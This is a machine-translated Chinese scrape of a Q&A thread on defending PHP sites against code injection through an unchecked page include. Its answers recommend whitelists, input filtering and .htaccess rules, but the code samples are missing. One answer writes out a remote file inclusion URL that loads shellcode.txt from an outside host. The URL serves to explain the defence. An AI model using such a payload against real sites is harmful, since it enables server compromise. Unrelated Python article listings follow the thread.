首页 / 知识
关于安全性:避免PHP中代码注入的最佳方法
2023-04-13 21:26:00

Best way to avoid code injection in PHP我的网站最近遭到了一个无辜的代码的攻击:
那里没有SQL调用,因此我不担心SQL注入。 但是,显然,SQL并不是唯一的注入方式。 该网站提供了解释和避免代码注入的一些示例:http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html 您如何保护该代码免于注入代码? 使用白名单,并确保页面在白名单中:
清除输入的另一种方法是确保仅允许输入的字符(不包含" /","。",":",...)。但是,不要对不良字符使用黑名单,而对允许的字符使用白名单:
...然后是file_exists。 这样,您可以确保仅执行要执行的脚本(例如,这将排除" blabla.inc.php",因为不允许使用"。")。 注意:这是一种" hack",因为这样用户可以执行" h.o.m.e",并且会显示" home"页面,因为它所做的只是删除所有禁止的字符。这并不是要阻止想要在页面上添加可爱内容的"聪明人",但它会阻止人们做真正不好的事情。 顺便说一句:您可以在.htaccess文件中做的另一件事是防止明显的攻击尝试:
这样,所有使用" http:" URL(和查询字符串)进行的页面访问都会导致"禁止"错误消息,甚至无法到达php脚本。这样可以减少服务器负载。 但是请记住,查询字符串中不允许使用" http"。您的网站在某些情况下(可能是在填写表格时)可能需要它。 顺便说一句:如果您能读德语:我也有一篇关于该主题的博客文章。 Pek,除了sql注入之外,甚至还有不同类型的代码注入,还有很多事情需要担心。现在也许是个很好的时机,对一般的Web应用程序安全性有进一步的了解。 从上一个关于从桌面开发到网络开发的问题开始,我写道:
接受用户输入时的#1规则始终会对其进行清理。在这里,您没有在将页面GET变量传递到include之前对其进行清理。在包含文件之前,应该执行基本检查以查看文件在服务器上是否存在。 我假设您处理同一目录中的文件:
这不是很漂亮,但是应该可以解决您的问题。 pek,对于短期修复,请使用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的Web框架之一。他们以可靠,安全的方式处理路由和文件包含等所有低级内容,因此您可以专注于核心功能。 不要重新发明轮子。使用框架。他们中的任何一个总比没有好。最初在学习上的投入几乎可以立即收回。
我知道这是一篇非常老的文章,希望您不再需要任何答案,但是我仍然想念一个非常重要的方面,恕我直言,我喜欢与其他分享此文章的人分享。在包含基于变量值的文件的代码中,您在字段的值和请求的结果之间建立了直接链接(页面变为page.php)。我认为最好避免这种情况。 后端响应实际上独立于前端请求。如果要以其他方式设置后端系统,则不必在前端进行任何更改。 始终确保以硬编码的文件名或数据库中的等效文件名结尾(最好是存储过程的返回值),因为当您使用请求中的信息来构建响应时,这会带来麻烦。 由于您的URL与后端的交付无关,因此您无需为此类更改而在htAccess文件中重写您的URL。 呈现给用户的URL是用户友好的,从而向用户通知文档的内容。 好的URL对SEO非常有用,因为搜索引擎正在搜索相关的内容,并且当您的URL与内容一致时,它将获得更高的汇率。至少比您的内容绝对不符合您的内容时更好。 如果您不直接链接到php文件,则可以在处理之前将漂亮的URL转换为任何其他类型的请求。这为程序员提供了更大的灵活性。 您将必须清理请求,因为您是从标准的不可信来源(Web的其余部分)获取信息的。仅使用漂亮的URL作为输入可能会简化URL的清理过程,因为您可以检查返回的URL是否符合您自己的格式。确保精美的URL的格式不包含在漏洞利用程序中广泛使用的字符(例如',",<,>,-,&;等。)。 到目前为止,有一些不错的答案,也值得指出一些PHP细节:
文件打开功能使用包装程序来支持不同的协议。这包括通过本地Windows网络,HTTP和FTP等打开文件的功能。因此,在默认配置下,原始问题中的代码可以轻松地用于打开Internet以及以后的任意文件;包括服务器本地磁盘上的所有文件(webbserver用户可以读取)。
安全模式和
配置设置 这些都是不错的后备安全防护装置,但是请使用白名单来包含文件。 想想URL是这样的格式: www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt 如果shellcode.txt运行SQL或PHP注入,那么您的网站将面临风险,对吗?一定要考虑一下,使用白名单会有所帮助。 有一种方法可以过滤所有变量以避免被黑客入侵。您可以使用PHP IDS或OSE Security Suite来避免黑客入侵。安装安全套件后,您需要激活该套件,这里是指南: http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html 我建议您打开第二层保护,然后将过滤所有POST和GET变量,尤其是我提到的变量,如果发现攻击,它将立即向您报告/ 安全永远是重中之重 @pek-这行不通,因为您的数组键是0和1,而不是'home'和'page'。 我相信这段代码应该可以解决问题:
由于您拥有白名单,因此也不需要 |
最新内容
相关内容
python的调用绑定方法和非绑定方法
python的调用绑定方法和非绑定方法,代码,方法,实例,第一,培训,时计,奇数,偶数,参数,定义,在Python中,如果用实例去调用方法,这种限制就被称为PyPython网络编程调用接收数据的三种
Python网络编程调用接收数据的三种方法,数据,代码,基础,通用,通讯,服务,网络,培训,方法,报文,最近在使用python进行网络编程开发一个通用的tcPython 3.6 中针对文件系统的神奇
Python 3.6 中针对文件系统的神奇方法,数字,代码,数据,标准,信息,培训,首次,工作,文件名,常数,Python3.6首次发布于2016年,尽管它已经发布了很Python 之模块重载的五种方法
Python 之模块重载的五种方法,环境,培训,方法,模块,文件夹,例子,下面,内容,语句,请看,python环境准备新建一个foo文件夹,其下包含一个bar.py文提升Python数据分析能力的方法
提升Python数据分析能力的方法,分析,数据,工具,代码,时间,环境,报告,信息,培训,标准,1.Pandas分析包这个工具的好处是显而易见的。下面的动画调用 Python 解释器
调用 Python 解释器,标准,系统,位置,情况,状态,培训,数据,设备,文件,脚本,Python解释器通常被安装在目标机器的/usr/local/bin/python3.1目录Python中字典合并的实现方法
Python中字典合并的实现方法,培训,结果,以上,版本,字典,方法,函数,下面,背景,发现,TableofContents背景Methon1:适用于Python3.5及以上版本呢M学习python的三种方法
学习python的三种方法,项目,代码,公司,时间,工程,培训,中级,初级,资料,第一,Python的用途十分广泛,不同的程序员将其用于不用的领域,不同的程序Python文件读取相关方法
Python文件读取相关方法,数据,位置,文件,中行,培训,方法,字节,内容,结果,字符串,我们知道,对文件的读取操作需要将文件中的数据加载到内存中,而Python文件读取相关方法
Python文件读取相关方法,数据,位置,文件,中行,培训,方法,字节,内容,结果,字符串,我们知道,对文件的读取操作需要将文件中的数据加载到内存中,而python函数的定义与调用
python函数的定义与调用,名称,代码,数字,信息,函数,位置,通用,培训,被加数,加数,1.函数的定义高级编程语言通常会提供很多内置的函数来屏蔽底Python 多线程死锁问题的巧妙解决
Python 多线程死锁问题的巧妙解决方法,异常,持有,代码,情况,信息,管理,数据,包装,策略,预期,死锁死锁的原理非常简单,用一句话就可以描述完。